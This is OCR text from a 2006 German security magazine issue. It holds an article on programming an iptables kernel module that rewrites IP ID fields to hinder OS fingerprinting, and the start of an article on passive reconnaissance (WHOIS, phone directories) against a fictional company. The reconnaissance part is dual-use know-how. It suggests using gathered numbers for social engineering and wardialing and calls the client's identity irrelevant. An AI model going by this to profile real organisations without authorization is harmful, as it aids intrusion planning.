Abbildung 1. Emulator nfsim aufgerufen wird (je nachdem welches Modul unterstützt wird), enthalten. Diese Situation erinnert an das Registrieren des Erweiterungsmoduls. In unserem Fall handelt es sich um register _ target. Hier wird als Argument die Struktur übergeben. Die Felder, die besprochen werden sollen, möchte ich am Beispiel unseres Moduls vorstellen: register _ target
•
•
• •
•
•
– wird zum Erstellen einer Liste von Zielen, z.B. beim Auflisten von Regeln, verwendet; der Startwert soll NULL betragen; name – der Name soll mit dem Namen der Bibliothek übereinstimmen, z.B. IPID für libipt_IPID.so; version – die Version des Werkzeugs IPTables; help – der Zeiger auf die Funktion, die die Beschreibung der Syntax der Erweiterung anzeigt; init – hier kann man den Zeiger auf die Funktion platzieren, die zusätzliche Initiierungsoperationen durchführt. Diese Funktion wird noch vor dem Aufrufen parse aufgerufen; parse – wie der Name schon sagt, wird diese Funktion aufgerufen, wenn Parameter behandelt werden sollen, die IPTables nicht unterscheiden kann. Handelt es sich in Wirklichkeit um Optionen, die von der Erweiterung erwartet werden, soll die Funktion einen Wert ungleich Null zurückgeben. Einer der Eingangsparameter der next
www.hakin9.org
•
•
•
•
Funktion ist die Variable invert, die auf true gesetzt wird, wenn vor der Spezifikation der Option ! vorkommt; final _ check – diese Funktion wird nach dem Parsen der Optionen aufgerufen. Mit deren Hilfe kann z.B. exit _ error() aufgerufen werden, wenn die Optionen sich gegenseitig ausschließen oder wenn keine der obligatorischen Optionen angegeben wurde; print – diese Funktion wird beim Anzeigen der Regeln verwendet; sie soll Informationen drucken, die für die Regeln nicht standardmäßig sind. Sie wird beim Drucken der Regeln mithilfe der Anweisung iptables –L verwendet; save – der Zeiger auf die Funktion, die zum Wiederherstellen der Regel aus dem Speicher verwendet wird, damit diese gespeichert und später wiederhergestellt werden kann; extra _ opts – der Zeiger auf die Tabellen der Strukturen – die Liste soll mit einer Struktur enden, die mit NULLen ausgefüllt wurde. Sie wird mit der Liste von Standardargumenten zusammengefügt und an getopt _ long übergeben.
Für die Erweiterung vom Typ match sieht diese Struktur genauso aus. Damit unser Modul korrekt unterstützt werden kann und wir es
hakin9 Nr. 3/2006
45
Programmieren
Abbildung 2. IDs von Paketen, die durch die Firewall modifiziert werden überprüfen können, genügt es, diese Struktur auszufüllen. Die deklarierten Funktionen lassen wir praktisch ohne Body und in der Liste der Optionen definieren wir nur ein Record mit den Werten NULL. Die vollständige Datei mit der Bibliothek befindet sich auf der beiliegenden CD. Wir platzieren die kompilierte Bibliothek so, dass sie von IPTables gesehen werden kann und können nun das Modul testen.
Tests
Da die Stabilität des Moduls die Stabilität des Kernels, in den es geladen werden soll, beeinflussen kann, empfiehlt es sich, die Tests in einer isolierten Umgebung durchzuführen. Eine solche Möglichkeit stellt uns nfsim zur Verfügung. Dieses Werkzeug kann ebenfalls auf der Webseite www.netfilter.org heruntergeladen werden. Wie der Name bereits sagt, handelt es sich um einen Emulator des Frameworks Netfilter. Mithilfe dieses Emulators können die Erweiterungen getestet werden. Nach dem Starten des Programms steht uns eine Konsole zur Verfügung, in der die Regeln mithilfe von IPTables eingegeben werden können. Außerdem können wir Pakete und TCP-Sessions generieren. Haben wir all diese Tätigkeiten durchgeführt, werden am Bildschirm Informationen darüber angezeigt, wie ein Paket den Protokollstack durchläuft und ob dies ihm endgültig gelungen ist. Wir können auch unsere eigenen Meldungen sehen, die wir z.B. mithilfe der Funktion printk drucken können. Unser Modul soll im Verzeichnis netfilter/ipv4 platziert werden. Dadurch wird es automatisch beim Starten der Umgebung des Emulators geladen. Nach einer kurzen Session mit dem Emulator werden wir sehen können, ob wir irgendwelche kritische Fehler gemacht haben,
46
hakin9 Nr. 3/2006
ob das Modul korrekt funktioniert, ob die ersetzten Kontrollsummen richtig sind usw. Die Hilfedatei, die diesem Werkzeug hinzugefügt wurde (welche nach den Angeben der Anweisung help verfügbar ist), reicht völlig aus, um die Bedienung des Emulators kennen zu lernen – aus diesem Grund werde ich dieses Thema auslassen. Ein Beispiel einer Session mit dem Emulator wurde in Abbildung 1 dargestellt. Wie Sie sehen, wurde das Modul fehlerfrei geladen und die Regel wurde hinzugefügt. Anschließend wurden zwei Pakete abgeschickt. Im ersten Paket wurde IPID von 0 auf 0, im zweiten dagegen von 0 auf 1 geändert. Dies liegt daran, dass im zu generierenden Paket IPID immer auf 0 gesetzt wird. Das Modul verfügt über einen internen Zähler, der IPID jedes mal, wenn es aufgerufen wird, um 1 erhöht. Es empfiehlt sich auch, zu schauen, an welcher Stelle das Modul aufgerufen wird. Wir haben unsere Regel zur
Tabelle mangle der Zeichenkette FORWARD hinzugefügt. Aus diesem Grund erscheint die Meldung noch bevor die Zeichenkette verarbeitet wurde. Nachdem wir die Erweiterung im Emulator getestet haben, können wir es in den Kernelspeicher laden. Die Version, die sich auf der beiliegenden CD befindet, habe ich bei einer Firewall geladen, die ein Netzwerk schützt, das aus ein paar Rechnern besteht. Alles funktioniert einwandfrei, man kann also davon ausgehen, dass die Version Alpha bereits getestet wurde. In Abbildung 2 wurden vier Pakete icmp echo-request vorgestellt, die mithilfe von tcpdump betrachtet werden. Jedes Paket wird zweimal betrachtet: bevor es die Firewall passiert hat und danach. Man kann sehen, wie TTL um 1 reduziert wird (was völlig normal ist) und wie sich das ID ändert, was darauf hinweist, dass unser Modul funktioniert. Das originale ID ändert sich ein bisschen schneller, das ersetzte ID dagegen nur um 1.
Wahlmöglichkeit
Wird das Feld ID auf diese Weise geändert, kann es in manchen Fäl-
Listing 3. Beispiel einer Implementierung der Unterstützung der Erweiterungsoptionen in der Bibliothek von IPTables struct ipt_ipid_target_info { u_int32_t mode; u_int32_t step; }; static int parse(int c, char **argv, int invert, unsigned int *flags, const struct ipt_entry *entry, struct ipt_entry_target **target) { struct ipt_ipid_target_info * ipid_info = (struct ipt_ipid_target_ info *)(*target)->data; ...
}
*flags = ipid_info->mode; return 1;
static void final_check(unsigned int flags) { if(!(flags&IPID_MODE_RANDOM) && !(flags&IPID_MODE_INCREMENTAL)) exit_error(PARAMETER_PROBLEM, "You have to chose an algorithm\n"); ... }
www.hakin9.org
Eigene IPTables-Erweiterungen
Listing 4. Beispiel einer Implementierung der Unterstützung der Optionen im Code des Kernelmoduls static unsigned int ipid_target(struct sk_buff **pskb, ... struct ipt_ipid_target_info * ipid_info = (struct ipt_ipid_target_ info *)targinfo; ... if(ipid_info->mode&IPID_MODE_INCREMENTAL) { ipid_diffs[1] = iph->id = htons(counter); counter += ipid_info->step; } else if(ipid_info->mode&IPID_MODE_RANDOM) { get_random_bytes(&(ipid_diffs[1]), sizeof(u_int16_t)); ipid_diffs[1] = iph->id = htons(ipid_diffs[1]); } ...
len ausreichen, unser System zu verbergen. Dies ist aber keine universelle Methode. Möchten wir aber, dass das Feld auf eine andere Weise geändert wird, müssen wird den Code des Moduls modifizieren und ihn erneut kompilieren. Was passiert, wenn wir in einer Regel die Modifikationen anders vornehmen wollen als in einer anderen? In einem solchen Fall können uns Optionen unter die Arme greifen, die mithilfe von IPTables vom User-Space an das Modul übergeben werden. Dies müssen wir nur programmieren, was aber ziemlich trivial ist. Die Optionen für die Erweiterung der Bibliothek für IPTables tragen wir in Form einer Liste von Strukturen (auf eine für getopt übliche Art) in die Datei mit dem Quellcode, der für unsere Erweiterung zuständig ist, ein. Beispielsweise: static struct option opts[] = { {"random", 0, 0, 'r'}, {"incremental", 1, 0, 'i'},{0} };
Jeder, der die Funktion getopt _ long verwendet hat, kennt sicherlich die Bedeutung der einzelnen Felder dieser Struktur. Falls Sie es noch nicht gemacht haben, finden Sie deren Beschreibung auf den man-Seiten dieser Funktion. Die hinzugefügten Optionen müssen nun im Body der Funktion parse der Erweiterung der Bibliothek
unterstützt werden. Dies wird mithilfe einer für getopt _ long standardmäßigen Methode durchgeführt. Es bleibt nur noch die Struktur übrig, die an den Kernel übergeben werden soll. Es handelt sich hier um dieselbe Struktur, deren Größe wir in der Funktion ipid _ checkentry überprüft haben. Wir definieren für jede Erweiterung eine Struktur, mit deren Hilfe wir Optionen übergeben werden. Diese Struktur bleibt mit der Regel verknüpft. Jedes Mal, wenn die Funktion match oder target einer bestimmten Erweiterung aufgerufen wird, wird dieselbe Struktur übergeben. Der Lebenszyklus dieser Funktion fängt aber hier, im User-Space, an, und zwar dann, wenn die Regel hinzugefügt wird. Wir können von der Funktion parse aus auf sie zugreifen, indem wir sie der Struktur ipt _ entry _ target entnehmen (siehe Listing 3). Die Definition der Struktur wurde im selben Listing vorgestellt. Der nächste interessante Eingangsparameter der Funktion parse ist die Variable flags. Sie ermöglicht das Übermitteln der Daten zwischen den nächsten Aufrufen von parse sowie die Übergabe der Informationen an final _ check. Wir verwenden diese Variable zur Übergabe der Information darüber, welche Parameter vom Benutzer übergeben wurde, an final _ check. Wir möchten, dass genau ein Algorithmus gewählt wird, der zum Ändern des Feldes ID des IP-Datagramms dient. Ein Beispiel
www.hakin9.org
finden Sie in Listing 3. Außerdem empfiehlt es sich, auch die übrigen Funktionen zu programmieren: help, print, save, und zwar so, damit man die volle Funktionalität der Optionen verwenden kann. Dies möchte ich aber den interessierten Lesern überlassen. Darüber hinaus empfiehlt es sich, in der Funktion checkentry des Moduls zu überprüfen, ob die eingegebenen Optionen überhaupt korrekt sind. Dies werden wir aber an dieser Stelle auslassen. Möchten wir auf die Optionen vom Kernel aus zugreifen, genügt es, auf die Struktur hinzuweisen, die als Eingangsparameter an die Funktion checkentry und target oder match übergeben wird. Dies findet auf eine ähnliche Art und Weise wie im Falle von User-Space statt. Ein Beispiel befindet sich in Listing 4, in dem die modifizierten Fragmente der Funktion ipid _ target vorgestellt wurden. Nachdem wir das Modul und die Bibliothek erneut kompiliert haben, werden wir von der Befehlszeile aus festlegen können, wie das Feld ID geändert werden soll.
Aufbewahren von Daten
In unserem Beispiel wird der Zähler, auf dessen Grundlage der Wert des Feldes ID modifiziert wird, global aufbewahrt. Einer der Nachteile einer solchen Lösung besteht aber darin, dass ein so aufbewahrter Wert allen Regeln, die dieses Modul verwenden, gemeinsam ist. Es ist aber eine Situation denkbar, dass wir möchten, dass der Zählerwert für jede Regel separat und unabhängig geändert wird. Wir brauchen z. B. für ein Netzwerk zufällige und für ein anderes Netzwerk inkrementelle Änderungen. Wie können wir das erreichen? Wie gesagt, wird nach jedem Aufruf der Funktion ipid _ target die Struktur targinfo an sie übergeben, deren Definition vom Benutzer abhängt. Wir können dieser Struktur ein zusätzliches Feld hinzufügen, das unseren Zähler repräsentiert. Eine solche Struktur wird separat für
hakin9 Nr. 3/2006
47
Programmieren
jede Regel erstellt, wir werden also für jede Regel über einen separaten Zähler verfügen. Eine modifizierte Aktualisierung des Zählers im Code der Funktion ipid _ target könnte beispielsweise folgendermaßen aussehen: if(ipid_info-> mode&IPID_MODE_INCREMENTAL) { ipid_diffs[1] = iph->id = htons(ipid_info->lastval); ipid_info->lastval += ipid_info->step; }
Wir haben aber ein anderes Problem aufkommen lassen, indem wir das alte gelöst haben. Da in SMP-Systemen für jeden Prozessor eine separate Kopie des Arrays aufbewahrt wird, können sich zwei Kopien des Zählers als problematisch erweisen. Es kann also passieren, dass derselbe Wert mehrmals vorkommt. Wir müssen uns also darum kümmern, dass unabhängig von der CPUAnzahl nur eine Kopie des Zählers vorhanden ist. Eine der einfachsten Methoden, mit deren Hilfe dies erreicht werden kann, ist das Platzieren eines zusätzlichen Feldes in der Struktur targinfo. Dieses wird als Zeiger auf die Hauptkopie dieser Struktur fungieren. Mithilfe dieses Zeigers werden wir auf Felder mit den zu modifizierenden Werten hinweisen können. Die Änderungen, die im Code vorgenommen werden müssen, haben einen rein kosmetischen Charakter. Wir müssen zur Struktur targinfo ein Feld hinzufügen und in der Funktion ipid_checkentry einen entsprechenden Eintag vornehmen. ipid_info->master = ipid_info;
Außerdem sollen wir überall dort, wo wir in der Funktion ipid _ target auf das Feld mit dem zu modifizierenden Wert hinweisen, die Zeile: ipid_info->lastval
durch folgende Zeile ersetzen:
Abgesehen davon, dass die Arrays kopiert werden, gibt es noch ein Problem, das gelöst werden soll. Der Code eines solchen Moduls muss eintrittsinvariant sein. Es kann passieren, das beim Verarbeiten eines Pakets ein Interrupt stattfindet, der bewirkt, dass gleichzeitig ein anderes Paket verarbeitet werden muss. Überall dort, wo wir mit der Nebenläufigkeit zu tun haben, müssen wir den Zugang zu Daten verwalten, um die Kohärenz dieser Daten zu gewährleisten. Man kann sich leicht eine Situation vorstellen, in der wir für zwei Pakete gleichzeitig einen neuen Wert des Feldes ID des IP-Datagramms festlegen und den Zählerwert erhöhen. Dadurch wird derselbe Wert zwei Paketen verliehen – es sind aber auch andere Inkonsistenzen denkbar. Eine einfache Lösung dieses Problems besteht in der Verwendung von Sperren vom Typ spinlock _ t. Es handelt sich um einen Mechanismus des Kernels des Betriebssystem, der die Verwaltung der Nebenläufigkeit unterstützt. Zu diesem Zweck genügt es, das Anwenden einer solchen Sperre zu deklarieren: static spinlock_t ipid_lock = SPIN_LOCK_UNLOCKED;
Anschließend sollen wir überall dort, wo wir auf ein Shared-Value verweisen, das Anwenden der Zu-
hakin9 Nr. 3/2006
spin_lock_bh(&ipid_lock);
Nachdem die Operation durchgeführt wurde, soll die Sperre aufgehoben werden: spin_unlock_bh(&ipid_lock);
Es ist dabei wichtig, eine Situation zu vermeiden, dass ein Thread das Anwenden einer Sperre anfordert und eine Sperre, die von einem anderen Thread angewandt wurde, nicht aufgehoben werden kann. Dies würde nämlich das ganze System lahm legen. Das Problem mit dem Aufbewahren von Daten in unserem Beispiel scheint aber gelöst zu sein. Es ist aber nicht schwierig, sich eine Situation vorzustellen, in der dies nicht ausreichen würde. Möchten wir beispielsweise separate Zähler für jeden IP-Stream, der als ein Paar (Quelle, Ziel) definiert wurde, müssten wir komplexere Strukturen erstellen. Es sein denn, wir beschließen, für jedes solches Paar eine separate Regel einzuführen. Dies ist aber meiner Meinung nach alles andere als optimal. In solchen Situationen kann man sich überlegen, ob es nicht sinnvoll wäre, eigene Objekt-Caches zu er-
Im Internet • • •
http://www.netfilter.org/documentation/HOWTO//netfilter-hacking-HOWTO.txt – Informationen zur internen Implementierung des Pakets Netfilter; ftp://ftp.rfc-editor.org/in-notes/rfc791.txt – ein RFC-Dokument, in dem das IP-Protokoll beschrieben wurde; http://www.insecure.org/nmap/nmap-fingerprinting-article.html – ein Artikel über die Remote-Erkennung eines Betriebssystems mithilfe einer Analyse von Netzwerkprotokollen.
Über den Autor
Der Autor arbeitet in Poznań Supercomputing and Networking Center (PSNC) in einem Team, das sich mit der IT-Sicherheit beschäftigt. Er befasst sich mit den Aspekten der Sicherheit der Informations- und Kommunikationstechnik. Der Autor nimmt an Penetrationstests und Sicherheitschecks teil, die durch PSNC durchgeführt werden. Mehr Informationen zu PSNC finden Sie unter: http://security.psnc.pl/
ipid_info->master->lastval
48
gangssperre anfordern. Dies können wir mit einer der zu diesem Zweck dienenden Funktionen erreichen:
www.hakin9.org
Eigene IPTables-Erweiterungen
stellen und komplexere Strukturen bereitzustellen (Hash-Arrays, Bäume, Listen). Dieses Thema würde aber den Rahmen dieses Artikels sprengen.
Dies war nur ein Anfang
Die in diesem Text enthaltenen Informationen sollen ausreichen, damit Sie ein unkompliziertes, aber völlig funktionstüchtiges Modul schreiben können. Dies sollte auch als eine Ermunterung dienen, sich mit dem Thema ausführlicher auseinander zu setzen und komplexere Module zu schreiben. Das Paket IPTables beinhaltet viele andere Module, die in diesem Artikel nicht erwähnt wurden. Diese Module greifen auf fortgeschrittenere Funktionen des Frameworks zurück, wie z. B. Tracking von Verbindungen, Schreiben von Erweiterungen, die das Filtern von Protokollen unterstützen, welche
mehrere parallele Verbindungen verwenden, sowie fortgeschrittener NAT. Das Modul ipt _ IPID, das wir gerade erstellt haben, kann als ein Element der Firewall dienen, das die wahre Identität der geschützten Betriebssysteme verbirgt. Sicherlich ist dies keine ganzheitliche Lösung, genauso wie die Funktionen Fingerprint Scrambling einer kommerziellen Firewall-Lösung zum Realisieren dieser Aufgabe nicht ausreichen. Sie kann aber dazu beitragen, das Scannen anderer Netzwerkknoten mithilfe unserer Rechner erfolgreich zu vereiteln. Es soll aber unbedingt darauf hingewiesen werden, dass das Feld ID für die zu fragmentierenden IP-Datagramme relevant sind. Man kann also nicht auf eine einfache Weise dessen Wert ändern, wenn das Paket ein Fragment eines IP-Datagramms ist. Es genügt, sicherzustellen, dass die Regel nicht für fragmentierte Pakete
verwendet wird. Es gibt mehrere Methoden, mit deren Hilfe das erreicht werden kann. Man kann z. B. eine andere Erweiterung vom Typ match schreiben. Durch das Schreiben des erwähnten Moduls ipt _ ISN kann man wunderbar die langen Winterabende überbrücken, da in diesem Fall einige Probleme gelöst werden müssen: wie kann man eine Information über den Status der TCP-Verbindung aufrechterhalten, wie kann man die bilaterale Änderung der Sequenznummern (in einer Richtung ändern wir SEQ, in der anderen ACK) vornehmen? Es handelt sich hier mit Sicherheit um Probleme, die gelöst werden können. Ich kann Ihnen verraten, dass es mit gelungen ist, ein solches Modul während der Arbeit an diesem Artikels zu schreiben. l
Praxis
Passives Sammeln der Informationen – Grundlagen Błażej Kantak
Schwierigkeitsgrad
Wenn man zu viele Informationen bekannt gibt, kann man die Regeln der Sicherheitspolitik verletzen, und damit einen Angriff auf das Computersystem eines Unternehmens oder einer Organisation erleichtern. Wir werden sehen, wo und wie wir wertvolle Daten einfach finden, die man zur Bloßstellung von Firmenschutzmechanismen verwenden kann.
Pentests. In letzter Zeit ist dieser Begriff in der Fachpresse sehr populär geworden. Es gibt viele Leute, die ihr Wissen aus Filmen vom Typ Hackers beziehen, in denen man sich in Computersysteme einklinkt, indem man in der virtuellen Realität durch leuchtende und halbtransparente Türme fliegt. Für solche Menschen sind Pentests eine echte schwarze Magie. Wie sich herausstellt, ist es halb so schlimm... Es genügt, einige Tools und Arbeitsmethoden zu kennen, um, mit ein bisschen Glück, die ausgewählten Schutzmechanismen bloßzustellen. In diesem Artikel habe ich weder vor, einen Vortrag über die Hacking-Theorie zu halten, noch über die Ethik zu schreiben, der ein echter Hacker folgt und an die er sich hält. Dieser Artikel soll weder eine simple Aufzählung von Tools noch eine TODE-Liste darstellen. Vielmehr möchte ich Ihnen zeigen, wie man mit entsprechenden Kenntnissen, die Sicherheitsmechanismen des Systems eines großen Teils der Firmen brechen kann, die im Internet angesiedelt sind. Ich spreche hier über Kenntnisse, die solche Benutzer erwerben können, die mit dem Rechner und dem Netz vertraut sind.
52
hakin9 Nr. 3/2006
Ich werde versuchen zu zeigen, was mit Hilfe eines Browsers, einem Stuhl, Musik und selbstverständlich... Ihrem Kopf, ohne den alles andere – sogar der Inhalt von diesem Artikel – unbrauchbar bleibt, machbar ist. Absichtlich nenne ich nicht alle technischen Details. Das soll den Leser inspirieren, auf eigene Faust herum zu experimentieren und sich zufrieden zu fühlen, nachdem etwas gelungen ist.
In diesem Artikel erfahren Sie... • •
wie die erste Phase von Penetrationstests aussieht; wie man sich vor dem passiven Sammeln der Informationen schützen soll.
Was Sie vorher wissen/können sollten... • •
www.hakin9.org
man sollte den Internet-Browser benutzen können; man sollte das auf dem TCP/IP-Protokoll basierenden Netzmodell kennen.
Passives Sammeln der Informationen
Penetrationstests
Penetrationstests (Security-Audit) sind Prozesse, in dem die Sicherheitsmechanismen einer informationstechnischen Struktur von einer Gruppe qualifizierter und berechtigter Personen auf Herz und Nieren geprüft werden. Hierzu simulieren diese Spezialisten verschiedene Handlungen und Aktionen, die von einem Angreifer unternommen werden können. Ziel eines Penetrationstests ist es also, einen kontrollierten Angriff auf Produktionssysteme durchzuführen, ihre Lücken zu entdecken, sie zu beseitigen, und anschließend den Sicherheitsgrad des Unternehmens oder der Institution zu erhöhen. Um das Wissen des Testerteams über interne Abläufe eingrenzen zu können, werden Tests in s.g. black box testing (die Spezialisten wissen nichts von dem zu prüfenden Objekt) und white box testing (die Prüfer verfügen über alle technischen Details, wie z.B. Konfiguration, Datenbankzugang, Quellcode) eingeteilt. Es gibt auch eine lokale Unterscheidung zwischen Pentests, also: externe Tests (außerhalb des zu prüfenden Objekts, z.B. des Netzes) und interne Tests (vom Gesichtspunkt z.B. eines Angestellten). Jeder Penetrationstest besteht aus folgenden Schritten: •
• • • • • •
Passive Informationsbeschaffung – Informationen über das zu prüfende Objekt werden ausgesucht und gesammelt. Diese Testphase erfolgt passiv, d.h. das Ziel (z.B. ein Unternehmen) merkt nicht, dass man es überwacht; Scanning und Mapping des Netzes – Routen und Regeln der Firewall (engl. firewalking) werden untersucht; Fingerprinting – Typen und Versionen von im Netz verwendeten Informationssystemen werden identifiziert; Aufdecken von Konfigurationslücken und -schwachstellen – Analyse der gesammelten Daten und Festlegung der potenziellen Angriffsvektoren; Einbruch – die Sicherheitsmechanismen des Systems werden durch die Ausnutzung der Schwachstellen durchgebrochen; Erweiterung der Berechtigungen – es werden in den einzelnen Computersystemen Berechtigungen erworben; Erstattung von Berichten – sämtliche Daten werden in Form eines Berichts erfasst und zusammen mit der Geschäftsführung oder der technischen Abteilung des gestesteten Objekts (z.B. eines Unternehmens) ausgewertet. Es wird auf die potenziellen Methoden zur Erhöhung des Sicherheitsgrades der IT-Struktur hingewiesen.
Pentests haben, schon als eine Methodologie, einen eigenen Standard bekommen: OSSTMM (The Open Source Security Testing Methodology Manual) des ISECOM-Instituts (The Institute for Security and Open Methodologies). Mehr Informationen zu diesem Thema finden Sie unter der Adresse: http: //www.isecom.org/osstmm/
Abbildung 1. Die RIPE-Internetpräsenz der WHOIS-Datenbank
www.hakin9.org
Dieser Text ist vor allem an die Anfänger im Bereich der informationstechnischen Sicherheit gerichtet, die bereits mit dem Computer und dem Internet vertraut sind. Wir fangen also an.
Wie man sich bettet....
Am Anfang des Artikels habe ich Faktoren erwähnt, die für den Enderfolg wichtig sind. Die Grundlage aller Pentests ist eine bequeme und an die individuellen Bedürfnisse angepasste Arbeitsumgebung. Zu ihren integralen (sogar unerlässlichen) Bestandteilen gehören für mich ein Lieblingsbrowser (Webseite Firefox), gute (d.h. entspannte) Musik, ein Bleistift, ein Notizbuch (mit vielen Blättern) und ein bequemer Stuhl bzw. Sessel, auf bzw. in dem der Tester sehr viel Zeit verbringt. Zeit ist das letzte Puzzleelement, das mehr als alle anderen Elemente über das Endresultat unserer Arbeit entscheiden kann. Für unseren Komfort nehmen wir an, dass wir unbeschränkt viel Zeit (mehr sollten wir nicht brauchen) zur Verfügung haben. Dadurch können wir uns auf die wesentlicheren Aufgaben konzentrieren. Nachdem wir uns eine angenehme Arbeitsumgebung geschaffen haben, können wir mit der konkreten Arbeit beginnen. Der erste Schritt ist die passive Beschaffung von Informationen über das Ziel unseres Pentests (engl. Passive Information Gathering – siehe den Penetratiostest-Rahmen). Wir versetzen uns in die Rolle des Sicherheitsberaters. Wir haben den Auftrag bekommen, möglichst viele Informationen über eine Firma (die wir Untastbaren GmbH nennen) zu sammeln, ohne erkennen zu lassen, dass solche Informationen angefragt wurden. Wir achten hier nicht darauf, wer der Auftraggeber ist (das könnte die Firma Untastbaren GmbH selbst sein). Das einzige, was uns interessiert, ist allein die Realisierung des Auftrags.
hakin9 Nr. 3/2006
53
Praxis
Low hanging fruits
Womit fangen wir an? Manche würden sofort die Internetpräsenz der Firma, www.untastbaren.com, besuchen. Das widerspricht aber unserer Grundforderung, laut der wir im Versteck bleiben sollen. Es gibt im Netz viele Stellen, an denen man eine ganze Menge interessanter Informationen über unser Testobjekt finden kann. Meistens sind das Services, die vor langer Zeit entstanden sind und die Arbeit der Angestellten erleichtern sollten, die das Internet benutzen. Es hat sich besonders in diesem Fall herausgestellt, dass jeder Stock zwei Enden hat. Derart zusammengetragene und eigentlich ausgewertete Informationen können ein ziemlich klares Bild davon verschaffen, was in der Firma X vor sich geht, wie ihre Struktur aussieht, mit welchen Zulieferer sie zusammenarbeitet, wer sie verwaltet, wann sie arbeitet und vieles mehr. Man kann beliebig lange mit der Aufzählung fortfahren. Selbstverständlich ist es nicht möglich, auf diese Weise stets alle gewünschten Einzelheiten zu ermitteln. Trotzdem ist es einen Versuch wert, weil diese firmenbezogenen Informationen s.g. low hanging fruits sind. Also etwas, was man ohne größere Mühe bekommen kann. Also gut. Fangen wir damit an, dass wir herausfinden, wo sich die Firma Untastbaren GmbH befindet, wann sie geöffnet hat, wie ihre Internetadresse lautet und eventuell, welche Telefonnummer sie besitzt. Wir brauchen also ein Telefonbuch. Da wir ausgerechnet in diesem Moment nicht unbedingt eines zur Hand haben (in der nächsten Post gibt es aber sicherlich eines), finden Sie im Netz ein paar Seiten, die solche Informationen zur Verfügung stellen: z.B. das Telefonbuch der deutschen Telekom (www.telefonbuch.de), das Bundesfirmenregister (www.bfr.de) oder die Gelben Seiten (www. gelbeseiten.com). Wenn wir die geographische Position ermitteln möchten, gehen wir z.B. auf
54
hakin9 Nr. 3/2006
Listing 1. Ergebnisse der Abfrage der WHOIS-Datenbank nach untastbaren.com % This is the RIPE Whois query server #2. % The objects are in RPSL format. % % Note: the default output of the RIPE Whois server % is changed. Your tools may need to be adjusted. See % http://www.ripe.net/db/news/abuse-proposal-20050331.html % for more details. % % Rights restricted by copyright. % See http://www.ripe.net/db/copyright.html % The object shown below is NOT in the RIPE database. % It has been obtained by querying a remote server: % (whois.snd.pl) at port 43. % To see the object stored in the RIPE database % use the -R flag in your query % Domain object: domain: untastbaren.com registrant's handle: msk9999 (CORPORATE) nservers: ns2.untastbaren.com.[10.14.86.33] ns1.unantastbareag.com.[10.14.86.32] created: 1999.12.02 last modified: 2005.12.13 registrar: MLASK Augustin Str. 133 07-442 München Deutschland/Germany +49.22 5003333 [email protected] option: the domain name has not option Subscribers Contact object: company: UNTASTBAREN GMBH street: BERGEDORF 150 city: 23-232 Hürth location: DE handle: msk9999 last modified: 2000.10.19 registrar: MLASK Augustin Str. 133 07-442 München Deutschland/Germany +49.22 5003333 [email protected] Whois database last updated: 2006.01.10 %%REFERRAL END
www.stadtplandienst.de, maps.google.com oder unter die andere Webseite www.map24.de. Es ist sinnvoll, alles aufzuschreiben, was wir bisher herausbekommen haben. Beispielsweise können wir die Telefonnummer bei soziotechnischen Angriffen verwenden (falls es nötig wäre) oder wardialing, indem wir das gegebene Nummerpräfix benutzen. Die E-Mail-Adressen zeigen, welches Adressenformat angewendet wird (z.B. jas.fasola@u ntastbaren.com).
www.hakin9.org
Wenn unser Testobjekt (die Firma Untastbaren GmbH) an der Börse registriert ist, kann man versuchen zu prüfen, welche besondere Informationen auf den Internetpräsenzen der Wertpapier börsenoder in verschiedenen Finanzportalen verfügbar sind. Nach der Beschaffung von Grundinformationen über unsere Firma Untastbaren GmbH, schauen wir nun, was man an einigen anderen Stellen finden kann. Wir beginnen mit dem WHOIS-Service.
Passives Sammeln der Informationen
WHOIS-Service
Die Hauptaufgabe des WHOIS-Dienstes ist die Lieferung von Kontakt- und Registrierungsinformationen eines Unternehmes, einer Institution oder einer Organisation. Der Service teilt sich in zwei Teile ein – der erste Teil ist für die Informationen bezüglich eines bestimmten IP-Adressen-Bereiches zuständig (s.g. Network Service-based) und der zweite – mit Domainnamen (s.g. Name Service-based). Die WHOIS-Datenbank enthält u.a. die zu einem Objekt zugewiesenen IP-Adressen, die Nummer des Autonomen Systemen (AS – BGP-Routing), einige personenbezogene Informationen (darunter über Personen, die für die hier angegebenen Daten verantwortlich ist). Die WHOIS-Datenbank wurde zwischen vier Regionalregister aufgeteilt (engl. Regional Internet Registries): • • • •
APNIC – Asien und Pazifik (Asia-Pacific Network Information Center) – http://www.apnic.net/ ARIN – Nordamerika (American Registry for Internet Numbers) – http://www.arin.net/ LACNIC – Lateinamerika und Karaiben (Latin American and Caribbean Internet Address Registry) – http://www.lacnic.net/ RIPE NCC – Europa (Réseaux IP Européens Network Coordination Centre) – http://www.ripe.net/
Wer ist wer...
Whois ist eine Datenbank (siehe den Service WHOIS-Rahmen) mit Informationen über die registrierten Inhaber von Internet-Adressen. Sie wurde erstellt, um die Kontaktinformationen denjenigen zu liefern, die solche Informationen benötigen (z.B. wenn man den Kontakt mit einem Netzadministrator aufnehmen muss). Da wir ebenfalls zu dieser Gruppe gehören (obwohl wir keinen Kontakt zu der Firma Untastbaren GmbH aufnehmen wollen), lasst uns prüfen, wie sie uns helfen kann. Zu diesem Zweck verwenden wir das populäre WHOIS-Tool, das in den meisten Linux-Systemen verfügbar ist, oder erfragen die WHOIS-Datenbank direkt über einen Internet-Browser (in unserem Fall ist das RIPE-Register – http:// www.ripe.net/ – siehe Abbildung 1). Wir entscheiden uns für die zweite Option, weil sie universeller ist und kein konkretes Operationssystem näher bestimmt. Im markiertem Feld geben wir den Domainnamen (z.B.: untastbaren.com), Namen des konkreten Hosts (z.B.: http:// www.untastbaren.com/) oder seine IP-Adresse ein. Wir geben hier den Domainnamen untastbaren.com ein.
In Listing 1 wird die Zeile dargestellt, die unsere Firma betrifft. Wie Sie sehen können, benutzt die Untastbaren GmbH zwei DNS-Server mit den Adressen 10.14.86.32 und 10.14.86.33. Sie ist bei MLASK registriert und befindet sich in Hürth. Diese Informationen sollten mit den Daten, die wir im ersten Schritt ermittelt haben, übereinstimmen. Falls nicht, hat das Unternehmen höchstwahrscheinlich ihren Firmensitz verändert oder sich mit einem anderen verbunden. Es ist auch möglich, dass diese Anschrift einer Abteilung gehört, die für die IT zuständig ist. Es ist gut diesen Fakt aufzuschreiben. Dieie Adressen der DNS-Servern dienen uns als zweite Anfrage (nach der Adresse: 10.14.86.32 oder 10.14.86.33) an die WHOIS-Datenbank (Listing 2). Und was bringen uns diese Daten? Erstens, welcher IP-Adressen-Block der zu prüfenden Firma zugewiesen wurde (10.14.86.0/24), wer eine Kontaktperson ist (Jan Müller – der Code JF6969-RIPE), welche ihre Anschrift, Telefonnummer, E-Mail-Adresse und ASNummer (AS12345) ist. Die letzte Information weist 